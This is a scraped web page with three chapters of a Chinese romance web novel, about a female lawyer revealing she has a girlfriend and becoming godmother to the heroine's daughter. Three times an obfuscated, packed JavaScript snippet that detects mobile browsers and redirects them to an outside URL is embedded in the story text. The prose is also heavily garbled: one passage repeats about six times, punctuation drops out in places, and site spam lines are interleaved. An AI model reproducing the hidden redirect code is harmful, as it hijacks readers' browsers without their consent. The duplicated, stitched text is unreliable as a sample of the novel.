他没有新恋情吗? 她明明前段时间还听温昭宁和青柠言之凿凿地提起贺淮钦身边有了新人,还是个律师。 怎么贺淮钦现在又否认了? “你别骗我。” “我没有骗你,阿姨,你听谁说我有新女友了?”贺淮钦又问。 “青柠说的,青柠还说了,那个女人想要做她的妈妈。”姚冬雪一说到这个更来气,“我们青柠就一个生她养她的妈,你们要孩子,自己生去,别打我们青柠的主意!” 贺淮钦开始反思,自己到底哪里来的女朋友? 首先,他身边就没什么女人,顶多就是工作上往来的那几个,而这些女人能接触到青柠的概率几乎为零,更别提谁敢在青柠面前放出要给她当妈这种厥词。 思来想去后,贺淮钦忽然想到了一个人。 白方瑶。 他身边的女同事,见过青柠的就只有她一个人。 去年过年的时候,他把青柠接到身边过年,年初三那天,正好几个合伙人来家里聚餐,当时白方瑶也来了。 白方瑶给青柠带了礼物,是一只腊肠狗,青柠很挺喜欢的,两人一起坐在沙发边玩了很久。 当时贺淮钦正在和同律所的邱律师聊一个上市的项目,没去注意白方瑶和青柠在说什么,难不成,那天白方瑶说要给青柠当妈了? 想想,按白方瑶那想一出是一出又口无遮拦的性子,能说出这种玩笑话也不奇怪。 “阿姨,这中间有很大的误会,我会找时间把人带来亲自解释清楚的。” 贺淮钦走出医院,就给白方瑶打了电话。 白方瑶在总部开了一天的会,正是怨气最重的时候,她接到贺淮钦的电话,以为贺淮钦又要给她安排什么工作,没好气地说:“老板,又有什么指教?” 贺淮钦开门见山:“你是不是和我女儿说过要给她当妈?” “我可没说过要给青柠当妈,我是问青柠介不介意多一个妈妈。” 果然是她。 贺淮钦两眼一抹黑:“请问这有什么区别吗?” “这当然有区别了,要给青柠当妈,说的我好像喜欢你似的,可我又不喜欢你,我喜欢的是青柠小宝 贝,我想给她当干妈!干妈!OK?” 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) 贺淮钦当然知道白方瑶不喜欢他,这是他百分百确信的事实,可温昭宁她们都因为白方瑶这句话误会了。 “你手上那个医美案完成得怎么样了?” “刚刚还在说青柠呢,怎么这么快又跳到了工作上?你是不是故意扯开话题,不想让我当青柠的干妈?” “干妈的事情我说了不算,你得问她亲妈,这样吧,为表你的诚意,等你手上的医美案结了,你亲自来一趟悠山。” “我还得跑去悠山?” “你之前不是一直遗憾民宿的团建没赶上?这次算你带薪休假,所有费用我全都报销。” “带薪休假?”白方瑶这一天日薪可不低,她瞬间来了精神,“老板财大气粗!活该老板发大财!”—— 温昭宁留院观察了一天,确定无碍,就出院了。 副镇长亲自去她家里探望了她,原本这事儿到这里也就结束了。 可因为费芝惠被抓,费芝惠的母亲王红燕到处哭诉,村上一些好事的人就开始四处编排温昭宁不近人情。 鹿鹿听说了这些风言风语后,气得不轻。 “这些人一个个,别的本事没有,动嘴皮子的功夫厉害呢,什么叫‘又没事’?难道非得淹**才算有事?非得躺在ICU插满管子才算有事?刀子没有割在自己的肉上,谁都会说算了算了,要是真割到了,你看他们算不算!” 温昭宁坐在前台,手里翻着这周的订房记录,抬眸看到鹿鹿脸都涨得通红了,赶紧起身拍了拍她:“好了,你别这么生气,我都不气。” “昭宁姐,你真的不生气?” “真的不生气。我既然决定了要追究到底,就已经做好了接受所有声音的准备。”经历了这么多事后,温昭宁早已变得豁然通透,“这个世界很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210385|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘈杂,外人随口一句评价,不值得我反复咀嚼,我的耳朵不必对所有声音都敞开。” “好一句‘我的耳朵不必对所有声音都敞开’!”门口传来一道清亮的女声。 温昭宁和鹿鹿同时转头,看到大门口走进来一个女人。 这女人约莫三十岁左右,穿着一件巴宝莉的风衣,长卷发绑成高高的马尾,素颜,没有带任何首饰,但却依然美得很高级。 温昭宁一眼就认出来这是贺淮钦的新女友白方瑶。 她怎么会来这里? “Hello!温老板好久不见!”白方瑶拉着行李箱朝温昭宁挥手打招呼。 “好久不见白律师。”温昭宁绕过前台朝白方瑶走过去 “上次我错过了律所的团建感觉很遗憾温老板不是让我有机会再来嘛这不机会来了我也来了。” 机会来了? 这是什么意思? 温昭宁不太理解白方瑶在说什么但来者是客既然白方瑶来住宿不管她是谁的女朋友温昭宁都要热情地接待。 “白律师里面请。” “好。” 温昭宁把白方瑶迎进了大厅。 白方瑶的目光从庭院的景扫过又看向大堂的书架、壁炉和那排手作陶器民宿的一切都美得很治愈和温昭宁的人一样。 “这里果然是好美好惬意的样子。”白方瑶说。 “团建的时候是冬天环境没有现在好白律师来得正是时候。” “那我运气真好。” 温昭宁笑了笑:“希望白律师住得舒心。” 两人正说着话白方瑶的电话响了屏幕上跳动着贺淮钦的名字。 白方瑶没有接而是先看了一眼温昭宁的反应。 温昭宁并没有什么反应只是面无表情地将目光从白方瑶的手机屏幕上挪开了。 白方瑶按掉了贺淮钦的电话。 贺淮钦的信息立刻追过来:“???” 白方瑶:“想让我帮你解释清楚年终奖翻倍。” 贺淮钦:“别得寸进尺。” 白方瑶:“那算了。” 贺淮钦:“成交!” 第141章 认干妈 温昭宁不知道白方瑶为什么按掉了贺淮钦的电话但她看到了白方瑶低头和贺淮钦发信息的表情。 那弧度是收到期待消息时难以自抑的带点甜意的笑。 “白律师麻烦身份证给我一下。”温昭宁出声。 “好的。” 白方瑶把身份证递给了温昭宁民宿仅剩最后一间房在二楼温昭宁给她开好房间后把身份证退还给她。 “房间开好了白律师我让我们前台的小姑娘送你上去。” 白方瑶看着温昭宁:“温老板我想你送我上去。” 她的表情笑嘻嘻的也不像是为难当然就算真的是为难温昭宁也只能同意。 “好的那我送你上去。”温昭宁走过去 “行李箱我自己来。”白方瑶一把抢回了行李箱“我这行李箱重你这细胳膊细腿还是省省吧。” “我提得动而且为客人服务是我应该做的。” “没事自己的事情自己做。” 白方瑶是个人精她可太明白了照目前这个趋势来看温昭宁没准以后会成为她的老板娘她敢怼天怼地怼老板但她不敢让未来老板娘伺候自己。 两人一起上了楼。 温昭宁把白方瑶带到房间后对她说:“白律师那就不打扰你休息了我先下去。” “诶等等。”白方瑶叫住她。 “还有什么事吗?” “我听说你们村开了一个酒庄专门酿造葡萄酒的?” “是的白律师对葡萄酒有兴趣吗?” “我一般但我女朋友爱喝葡萄酒。” 现在很多人称呼自己的闺蜜为女朋友温昭宁倒也没有太在意这个称呼。 “如果白律师想买葡萄酒我明天可以带你去酒庄看看。” “好啊那麻烦你了。” “不麻烦的你休息吧。” 温昭宁说着抬脚就要走白方瑶忽然笑了。 “白律师你笑什么?” “温老板你是第二个听说我有女朋友还这么淡定的。” 温昭宁的思维顿时有点跟不上了。 什么意思?白方瑶口中的女 朋友难道不是友情,是爱情? 可她不是贺淮钦的女朋友吗? “白律师,不好意思,我有点听不懂你在说什么。” 白方瑶拿出她的手机,解锁后点进相册:“我给你看看我女朋友的照片吧。” 她说着,从相册中点开了一张合照,合照中,白方瑶和揽着一个黑长直美女的脖子,两人亲密地依偎在一起。 虽然说闺蜜之间也可能会拍这样的照片,但这张合照中,满满都是冲破照片本身的爱意。 她们两个根本不像寻常闺蜜,更像是……恋人。 “这就是我的女朋友Nirvana,英籍华裔,她是个牙医,我们在一起已经六年了,感情非常稳定。” 温昭宁一时回不了神,倒不是因为惊讶白方瑶的恋人是个女性,而是惊讶她竟然不是贺淮钦的女朋友。 怎么会这样? 哪个环节产生了误会? 白方瑶见温昭宁微张着嘴的样子,调侃道:“你现在的反应倒是像个正常人了。” “不不不。”温昭宁赶紧摆手,“白律师,你别误会,我此时的反应并不是因为不理解你的爱情,而是我一直以为你是……” “以为我是什么?” “以为你是贺律的女朋友。”温昭宁如实说。 白方瑶耸耸肩,潇洒地说:“我对男人没兴趣,就算是帅如贺淮钦,对我来说也就是一副空皮囊,就算他脱光了站在我面前,我都不会多看他一眼。” 贺淮钦这样的男人,光是那张脸就能引无数直女倾倒,更别说他那张脸配他那身薄肌了,白方瑶能把话说到这种程度,听得出来,她是真的对贺淮钦一点兴趣都没有。 “白律师,我一直觉得,这个世界上有很多种人,就会有很多种爱,只要没有伤害别人,每一种爱,都值得存在。”温昭宁满眼都是尊重和祝福。 白方瑶其实从进门时听到温昭宁说她的耳朵不必对所有声音都敞开时,就已经知道她是个不同寻常的女子了。 可现在亲耳听到温昭宁的理解,她的眼眶还是慢慢地红了。 谁能想到,连她身边至亲之人都不愿理解的事情,她竟然在一个只有过一面之缘的女人嘴里听到了这么真心的理解。 其实白方瑶也并非天 生豁达勇敢,她能像今天这样坦然地和别人说起自己的爱人是个女生之前,她也曾走过很长一段阴暗的自我救赎之路。 在这条路上,她收获的第一份善意和理解来自贺淮钦。 当年在她因为这段恋情饱受律所领导质疑的时候,是贺淮钦站出来说:“真爱不分性别,也不该被任何框架定义,一个人具备爱人的能力,就一定也具备好好工作的责任心。 这么多年,她一步步从助理律师成长为律所合伙人,那些议论声随着她出色的业务能力渐渐被屏蔽,但白方瑶知道,这么多年,身边始终没有带有色眼镜看她的,有且只有贺淮钦一个。 也只有贺淮钦,平日生活中愿意和她正常往来,偶尔被她拉去做挡箭牌应付家里长辈催婚,他也毫无怨言。 所以,虽然她对贺淮钦没有男欢女爱的兴趣,这一点都不妨碍他们成为很好的朋友和搭档。 白方瑶没有哭出来,她的眼睛只是红了红,用力眨了几下,就把那股汹涌的潮气压了回去。 “谢谢你,温老板。 “没事,不过,我不太明白白律师今天为什么要和我说这些。 “因为我之前问过青柠,介不介意多一个妈妈,这句话如今想来,很是不妥,我怕你误会我要抢你的孩子,所以今天正好借着这个机会和你解释一下,其实我的意思是,想认青柠小宝贝做我的干女儿,多个妈妈,是多个干妈的意思。 白方瑶和Nirvana都挺喜欢孩子的,但她们两个人只想搞事业,并不打算要孩子,所以年初三那天在贺淮钦家里第一眼看到聪明可爱的青柠,她就产生了认青柠做干女儿的想法。 “非常感谢白律师的厚爱,但认干妈这件事情,我还是得去征求青柠本人的意见。 “好好好,你找时间问问青柠小宝贝,你要告诉她,如果她愿意认我这个干妈,那干妈现在打下的江山,以后都是她的! 温昭宁笑起来:“好,一定转达。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 生豁达勇敢,她能像今天这样坦然地和别人说起自己的爱人是个女生之前,她也曾走过很长一段阴暗的自我救赎之路。 在这条路上,她收获的第一份善意和理解来自贺淮钦。 当年在她因为这段恋情饱受律所领导质疑的时候,是贺淮钦站出来说:“真爱不分性别,也不该被任何框架定义,一个人具备爱人的能力,就一定也具备好好工作的责任心。” 这么多年,她一步步从助理律师成长为律所合伙人,那些议论声随着她出色的业务能力渐渐被屏蔽,但白方瑶知道,这么多年,身边始终没有带有色眼镜看她的,有且只有贺淮钦一个。 也只有贺淮钦,平日生活中愿意和她正常往来,偶尔被她拉去做挡箭牌应付家里长辈催婚,他也毫无怨言。 所以,虽然她对贺淮钦没有男欢女爱的兴趣,这一点都不妨碍他们成为很好的朋友和搭档。 白方瑶没有哭出来,她的眼睛只是红了红,用力眨了几下,就把那股汹涌的潮气压了回去。 “谢谢你,温老板。” “没事,不过,我不太明白白律师今天为什么要和我说这些。” “因为我之前问过青柠,介不介意多一个妈妈,这句话如今想来,很是不妥,我怕你误会我要抢你的孩子,所以今天正好借着这个机会和你解释一下,其实我的意思是,想认青柠小宝贝做我的干女儿,多个妈妈,是多个干妈的意思。” 白方瑶和Nirvana都挺喜欢孩子的,但她们两个人只想搞事业,并不打算要孩子,所以年初三那天在贺淮钦家里第一眼看到聪明可爱的青柠,她就产生了认青柠做干女儿的想法。 “非常感谢白律师的厚爱,但认干妈这件事情,我还是得去征求青柠本人的意见。” “好好好,你找时间问问青柠小宝贝,你要告诉她,如果她愿意认我这个干妈,那干妈现在打下的江山,以后都是她的!” 温昭宁笑起来:“好,一定转达。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 生豁达勇敢,她能像今天这样坦然地和别人说起自己的爱人是个女生之前,她也曾走过很长一段阴暗的自我救赎之路。 在这条路上,她收获的第一份善意和理解来自贺淮钦。 当年在她因为这段恋情饱受律所领导质疑的时候,是贺淮钦站出来说:“真爱不分性别,也不该被任何框架定义,一个人具备爱人的能力,就一定也具备好好工作的责任心。” 这么多年,她一步步从助理律师成长为律所合伙人,那些议论声随着她出色的业务能力渐渐被屏蔽,但白方瑶知道,这么多年,身边始终没有带有色眼镜看她的,有且只有贺淮钦一个。 也只有贺淮钦,平日生活中愿意和她正常往来,偶尔被她拉去做挡箭牌应付家里长辈催婚,他也毫无怨言。 所以,虽然她对贺淮钦没有男欢女爱的兴趣,这一点都不妨碍他们成为很好的朋友和搭档。 白方瑶没有哭出来,她的眼睛只是红了红,用力眨了几下,就把那股汹涌的潮气压了回去。 “谢谢你,温老板。” “没事,不过,我不太明白白律师今天为什么要和我说这些。” “因为我之前问过青柠,介不介意多一个妈妈,这句话如今想来,很是不妥,我怕你误会我要抢你的孩子,所以今天正好借着这个机会和你解释一下,其实我的意思是,想认青柠小宝贝做我的干女儿,多个妈妈,是多个干妈的意思。” 白方瑶和Nirvana都挺喜欢孩子的,但她们两个人只想搞事业,并不打算要孩子,所以年初三那天在贺淮钦家里第一眼看到聪明可爱的青柠,她就产生了认青柠做干女儿的想法。 “非常感谢白律师的厚爱,但认干妈这件事情,我还是得去征求青柠本人的意见。” “好好好,你找时间问问青柠小宝贝,你要告诉她,如果她愿意认我这个干妈,那干妈现在打下的江山,以后都是她的!” 温昭宁笑起来:“好,一定转达。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 生豁达勇敢,她能像今天这样坦然地和别人说起自己的爱人是个女生之前,她也曾走过很长一段阴暗的自我救赎之路。 在这条路上,她收获的第一份善意和理解来自贺淮钦。 当年在她因为这段恋情饱受律所领导质疑的时候,是贺淮钦站出来说:“真爱不分性别,也不该被任何框架定义,一个人具备爱人的能力,就一定也具备好好工作的责任心。” 这么多年,她一步步从助理律师成长为律所合伙人,那些议论声随着她出色的业务能力渐渐被屏蔽,但白方瑶知道,这么多年,身边始终没有带有色眼镜看她的,有且只有贺淮钦一个。 也只有贺淮钦,平日生活中愿意和她正常往来,偶尔被她拉去做挡箭牌应付家里长辈催婚,他也毫无怨言。 所以,虽然她对贺淮钦没有男欢女爱的兴趣,这一点都不妨碍他们成为很好的朋友和搭档。 白方瑶没有哭出来,她的眼睛只是红了红,用力眨了几下,就把那股汹涌的潮气压了回去。 “谢谢你,温老板。” “没事,不过,我不太明白白律师今天为什么要和我说这些。” “因为我之前问过青柠,介不介意多一个妈妈,这句话如今想来,很是不妥,我怕你误会我要抢你的孩子,所以今天正好借着这个机会和你解释一下,其实我的意思是,想认青柠小宝贝做我的干女儿,多个妈妈,是多个干妈的意思。” 白方瑶和Nirvana都挺喜欢孩子的,但她们两个人只想搞事业,并不打算要孩子,所以年初三那天在贺淮钦家里第一眼看到聪明可爱的青柠,她就产生了认青柠做干女儿的想法。 “非常感谢白律师的厚爱,但认干妈这件事情,我还是得去征求青柠本人的意见。” “好好好,你找时间问问青柠小宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210386|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝,你要告诉她,如果她愿意认我这个干妈,那干妈现在打下的江山,以后都是她的!” 温昭宁笑起来:“好,一定转达。” 你的朋友正在书荒,快去帮帮他吧 生豁达勇敢她能像今天这样坦然地和别人说起自己的爱人是个女生之前她也曾走过很长一段阴暗的自我救赎之路。 在这条路上她收获的第一份善意和理解来自贺淮钦。 当年在她因为这段恋情饱受律所领导质疑的时候是贺淮钦站出来说:“真爱不分性别也不该被任何框架定义一个人具备爱人的能力就一定也具备好好工作的责任心。” 这么多年她一步步从助理律师成长为律所合伙人那些议论声随着她出色的业务能力渐渐被屏蔽但白方瑶知道这么多年身边始终没有带有色眼镜看她的有且只有贺淮钦一个。 也只有贺淮钦平日生活中愿意和她正常往来偶尔被她拉去做挡箭牌应付家里长辈催婚他也毫无怨言。 所以虽然她对贺淮钦没有男欢女爱的兴趣这一点都不妨碍他们成为很好的朋友和搭档。 白方瑶没有哭出来她的眼睛只是红了红用力眨了几下就把那股汹涌的潮气压了回去。 “谢谢你温老板。” “没事不过我不太明白白律师今天为什么要和我说这些。” “因为我之前问过青柠介不介意多一个妈妈这句话如今想来很是不妥我怕你误会我要抢你的孩子所以今天正好借着这个机会和你解释一下 白方瑶和Nirvana都挺喜欢孩子的但她们两个人只想搞事业并不打算要孩子所以年初三那天在贺淮钦家里第一眼看到聪明可爱的青柠她就产生了认青柠做干女儿的想法。 “非常感谢白律师的厚爱但认干妈这件事情我还是得去征求青柠本人的意见。” “好好好你找时间问问青柠小宝贝你要告诉她如果她愿意认我这个干妈那干妈现在打下的江山以后都是她的!” 温昭宁笑起来:“好一定转达。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 生豁达勇敢,她能像今天这样坦然地和别人说起自己的爱人是个女生之前,她也曾走过很长一段阴暗的自我救赎之路。 在这条路上,她收获的第一份善意和理解来自贺淮钦。 当年在她因为这段恋情饱受律所领导质疑的时候,是贺淮钦站出来说:“真爱不分性别,也不该被任何框架定义,一个人具备爱人的能力,就一定也具备好好工作的责任心。” 这么多年,她一步步从助理律师成长为律所合伙人,那些议论声随着她出色的业务能力渐渐被屏蔽,但白方瑶知道,这么多年,身边始终没有带有色眼镜看她的,有且只有贺淮钦一个。 也只有贺淮钦,平日生活中愿意和她正常往来,偶尔被她拉去做挡箭牌应付家里长辈催婚,他也毫无怨言。 所以,虽然她对贺淮钦没有男欢女爱的兴趣,这一点都不妨碍他们成为很好的朋友和搭档。 白方瑶没有哭出来,她的眼睛只是红了红,用力眨了几下,就把那股汹涌的潮气压了回去。 “谢谢你,温老板。” “没事,不过,我不太明白白律师今天为什么要和我说这些。” “因为我之前问过青柠,介不介意多一个妈妈,这句话如今想来,很是不妥,我怕你误会我要抢你的孩子,所以今天正好借着这个机会和你解释一下,其实我的意思是,想认青柠小宝贝做我的干女儿,多个妈妈,是多个干妈的意思。” 白方瑶和Nirvana都挺喜欢孩子的,但她们两个人只想搞事业,并不打算要孩子,所以年初三那天在贺淮钦家里第一眼看到聪明可爱的青柠,她就产生了认青柠做干女儿的想法。 “非常感谢白律师的厚爱,但认干妈这件事情,我还是得去征求青柠本人的意见。” “好好好,你找时间问问青柠小宝贝,你要告诉她,如果她愿意认我这个干妈,那干妈现在打下的江山,以后都是她的!” 温昭宁笑起来:“好,一定转达。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 生豁达勇敢,她能像今天这样坦然地和别人说起自己的爱人是个女生之前,她也曾走过很长一段阴暗的自我救赎之路。 在这条路上,她收获的第一份善意和理解来自贺淮钦。 当年在她因为这段恋情饱受律所领导质疑的时候,是贺淮钦站出来说:“真爱不分性别,也不该被任何框架定义,一个人具备爱人的能力,就一定也具备好好工作的责任心。 这么多年,她一步步从助理律师成长为律所合伙人,那些议论声随着她出色的业务能力渐渐被屏蔽,但白方瑶知道,这么多年,身边始终没有带有色眼镜看她的,有且只有贺淮钦一个。 也只有贺淮钦,平日生活中愿意和她正常往来,偶尔被她拉去做挡箭牌应付家里长辈催婚,他也毫无怨言。 所以,虽然她对贺淮钦没有男欢女爱的兴趣,这一点都不妨碍他们成为很好的朋友和搭档。 白方瑶没有哭出来,她的眼睛只是红了红,用力眨了几下,就把那股汹涌的潮气压了回去。 “谢谢你,温老板。 “没事,不过,我不太明白白律师今天为什么要和我说这些。 “因为我之前问过青柠,介不介意多一个妈妈,这句话如今想来,很是不妥,我怕你误会我要抢你的孩子,所以今天正好借着这个机会和你解释一下,其实我的意思是,想认青柠小宝贝做我的干女儿,多个妈妈,是多个干妈的意思。 白方瑶和Nirvana都挺喜欢孩子的,但她们两个人只想搞事业,并不打算要孩子,所以年初三那天在贺淮钦家里第一眼看到聪明可爱的青柠,她就产生了认青柠做干女儿的想法。 “非常感谢白律师的厚爱,但认干妈这件事情,我还是得去征求青柠本人的意见。 “好好好,你找时间问问青柠小宝贝,你要告诉她,如果她愿意认我这个干妈,那干妈现在打下的江山,以后都是她的! 温昭宁笑起来:“好,一定转达。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第142章 探一探 温昭宁当晚回去,就问了青柠的意愿。 青柠其实第一眼就很喜欢白方瑶,只是后来误会了白方瑶和贺淮钦的关系,所以对她产生了敌意。 “妈妈,白阿姨真的不是爸爸的新女朋友吗?”青柠再三向温昭宁确认。 “是的宝贝,白阿姨和爸爸就是同事和朋友关系,她有自己的爱人。” “那太好了!” 青柠松了一口气,她差点以为白阿姨要和妈妈抢爸爸呢。 “宝贝,白阿姨很喜欢你,她想认你做干女儿,你愿意吗?” “什么是干女儿啊?” 温昭宁思索了一下,试图用通俗易懂的方式让女儿理解:“宝贝,你知道的,爸爸和妈妈非常地爱你,有些人因为和爸爸妈妈关系特别好,加上他们也很喜欢你,所以呢,就想用一种更特别的方式来爱你,虽然他们不能真的当你的爸爸妈妈,但会像爸爸妈妈一样关心你、保护你,你就是他们的‘干女儿’。” “那我还是爸爸妈妈的女儿吗?” “当然,你永远是爸爸妈妈的宝贝,多一个干妈就好像是你多分到了一个甜甜圈,无论如何,你原来拥有的那一个甜甜圈依然还在那里。” “耶!我想要两个甜甜圈,我愿意做白阿姨的干女儿!” 白方瑶得知青柠愿意认她做干妈后,激动万分,她大手一挥,直接把沪城米其林三星大厨请来民宿,说要宴请民宿所有客人,让大家见证她和青柠的认亲仪式。 认亲那天,民宿格外的热闹。 温昭宁特意给青柠穿了红色的连衣裙,白方瑶也穿得特别的红。 “青柠小宝贝,干妈今天给你准备了一份礼物。”白方瑶把一个大红的丝绒锦盒递给青柠,“打开看看,喜不喜欢?” 青柠在温昭宁的帮助下打开锦盒,里面是一个黄金的长命锁项圈。 锁身是圆润的如意云纹造型,做工讲究,上面錾刻着“长命富贵”四个字,边缘有精细的缠枝莲纹,项圈是两根细巧的绞丝金链,既结实又不失秀气。 “哇!”青柠发出惊叹,“好亮好好看呀!” 白方瑶得意地笑:“那当然了,这可是干妈跑了好几家金店才挑中的,我们青柠小宝贝要一辈子健健康康,平平安安的哟。” “谢谢干妈!” “乖去玩吧!” 青柠跑开了温昭宁拿着那个丝绒锦盒有点不好意思:“白律师今天又是红包又是金锁的让你这么破费我心里有点过意不去。” 白方瑶摆摆手:“你这可就见外了啊我跟你说我这是投资长期投资我现在对青柠好给她塞大红包买金子将来等我老了头发白了走不动路了青柠也长大了有出息了她好意思不管我?她肯定得给我养老送终啊!所以我这叫提前爆金币锁定优质养老资源!” 她说完自己先哈哈大笑起来。 白方瑶实在可爱温昭宁也被她逗笑了。 两人聊了一会儿温昭宁说:“我去看看厨师准备得怎么样了?” “行哦对了晚上的晚餐我叫了贺淮钦一起来你应该不会介意吧?”白方瑶问。 “不介意。”贺淮钦是青柠的爸爸又是白方瑶的好友兼上司叫他一起来庆祝合情合理。 “好那我问问他快到了没有?” “嗯。”—— 傍晚六点。 贺淮钦来到民宿。 他今天穿得很正式深蓝色的西装挺括的衬衫领带打得一丝不苟。 温昭宁看到他先冲他笑了笑。 贺淮钦能感觉到这次见面温昭宁对他的态度松弛了很多。 显然白方瑶的任务完成得不错。 “爸爸!” 青柠一看到贺淮钦 贺淮钦把青柠抱起来在她脸颊上亲了一口故意问她:“今天是什么日子啊?” “今天是我认干妈的日子。” “那干妈有没有给你大红包?” “有有有。”青柠的两根小手指比划了一下说:“干妈的红包这么这么厚!够我买好多好多的棒棒糖!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215270|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大家都笑了起来。 为了今天这场认亲宴温昭宁让舅舅把家里的两张大圆桌都搬来了摆在庭院的中央。 红色的桌布是一次性的桌上碗筷杯碟摆放得整整齐齐的。 贺淮钦刚落座白方瑶就凑了过来。 “老板顺利完成任务了。”白方瑶悄悄在桌下冲贺淮钦比 了个“OK”的手势,“为了你的终身幸福,我连自己的性取向都自暴了,现在,她知道咱两的关系就跟小葱拌豆腐似的,一清二白。” “谢谢。” “不用谢,记得年终奖翻倍,当然,要是月薪再涨一点,我也很欢迎。” “你钻钱眼子里了?” “这不想给青柠小宝贝多攒点遗产嘛。你也别小气,说来说去,最后还不都是你女儿的。” “既然都是我女儿的,那以后工资年终奖都不发了,转来转去也挺麻烦,我直接给我女儿存下得了。” “你属甲鱼的吧,这么精?” 白方瑶不想再搭理贺淮钦了,她转到一边去,等菜的功夫低头查看起手机里的邮件。 贺淮钦主动凑过来:“这样,月薪再涨百分之五,和我展开说说,她听到我们两个不是情侣关系的时候,具体什么反应?” 白方瑶看了贺淮钦一眼:“你确定要给我涨薪百分之五?” “确定。” “哦,那我直说了,她没有任何反应,我特地观察了,也没看出来什么端倪,她的表情全程都很淡。”白方瑶说完,不忘再插一刀:“你单身是张明牌了,你能确定她也是单身?你别是剃头担子,一头热。” 贺淮钦沉默地转头,目光朝温昭宁看去。 温昭宁这会儿正在小厨房里帮忙,厨房里的灯光勾勒着她的倩影,他不免又想起那一晚,她和段允谦抱在一起的画面。 的确,温昭宁和那个段允谦现在是什么情况,他并不确定,也许白方瑶说得对,他就是剃头担子,一头热。 他得找机会再探一探。 第143章 比基尼 民宿的房客们都很高兴可以吃到青柠和白方瑶的认亲宴。 有人下来吃饭的时候,甚至还给青柠带了小礼物,恭喜她多了一个好干妈。 宴席结束后,大家也没有甩手就走,每个人都留下来一起帮忙收拾了桌上的餐具和庭院的卫生。 “今天真是谢谢大家了!”温昭宁很感动。 “是我们谢谢温老板,让我们有机会尝到米其林三星大厨的手艺。” “就是,能赶上这样的大喜日子,是我们的福气。” “祝温老板的小公主健康成长,永远开心!” “……” “谢谢!谢谢大家!大家都上去休息吧!” 温昭宁等房客都回房后,走到墙边,看了眼最后的那两个大件——圆桌盘。 这圆桌盘是舅舅早年置办的,实木材质,厚实得很,一个人根本拿不动。 她正思忖该怎么把它们弄到仓库去,贺淮钦走了过来。 “我帮你抬吧。”贺淮钦说。 温昭宁看了他一眼,贺淮钦刚刚一直在厨房帮忙洗碗,他脱了西装外套,衬衫两边的袖子都卷得很高,还戴着保洁阿姨给他的围裙,整个人优雅中透着一丝居家感。 “好,你去那一边。” “嗯。” 贺淮钦走到桌沿的另一侧,两人一左一右,各自抓着桌沿,合力将圆桌盘抬了起来。 “搬去哪儿?”贺淮钦问。 “先搬去后院的库房,明天早上我舅舅会开三轮车来装的。” “好。” 两人一起将两个圆桌盘全都搬到了后院的仓库。 “谢谢你,辛苦了。”温昭宁顺势从仓库的货架上给贺淮钦拿了一瓶矿泉水,“喝口水吧。” “谢谢。” 贺淮钦接过水瓶,拧开喝了一口,喝完水,他们一起折回前院。 刚走进庭院,贺淮钦犹豫了一下,开口问道:“六一儿童节,你有安排吗?” 温昭宁摇摇头:“没有,怎么了?你要带青柠出去吗?” “青柠之前和我说过,想去海边玩,正好马上六一儿童节了,我想着不如趁着节日,满足一下她的愿望。” 温昭宁想起来,青柠之前确实和她念叨过几次,说想 去海边堆沙堡、捡贝壳。 “行啊,你可以带她去海边玩,我没有意见。” “不是,我的意思是,你能不能一起去?” 温昭宁一愕,抬眸看向贺淮钦:“我一起去?” “对,我最近工作比较忙,每天零零散散的事情比较多,我也不能保证六一那天会不会临时有工作要处理,如果只是我一个人带她去,我怕照顾不好她,小孩子在海边玩,肯定得大人看着。” 温昭宁想了想,贺淮钦说得有道理,孩子在海边玩耍时,很容易出现安全事故,所以,如果真的要去海边的话,一个随时要处理工作的大人,三心两意地带娃,肯定是不行的。 “如果你没时间的话……” “我有时间。”温昭宁说。 她知道青柠非常想去海边,她不想扫了孩子的兴。 贺淮钦眼睛一亮:“好,那就这么说定了。”—— 六一儿童节去海边的计划,就这么定了下来。 当天夜里,贺淮钦那边就已经高效地完成了所有安排。 温昭宁临睡前,收到了贺淮钦发来的机酒信息,贺淮钦订的是海边的一家亲子酒店,他订了两间大床房,一间给温昭宁和青柠,另一间给他自己。 青柠听说六一儿童节要去海边,兴奋地在床上又蹦又跳,嘴里不停地念叨着:“海边!海边!堆沙堡!捡贝壳!还可以和爸爸妈妈一起睡觉觉!耶耶耶!” 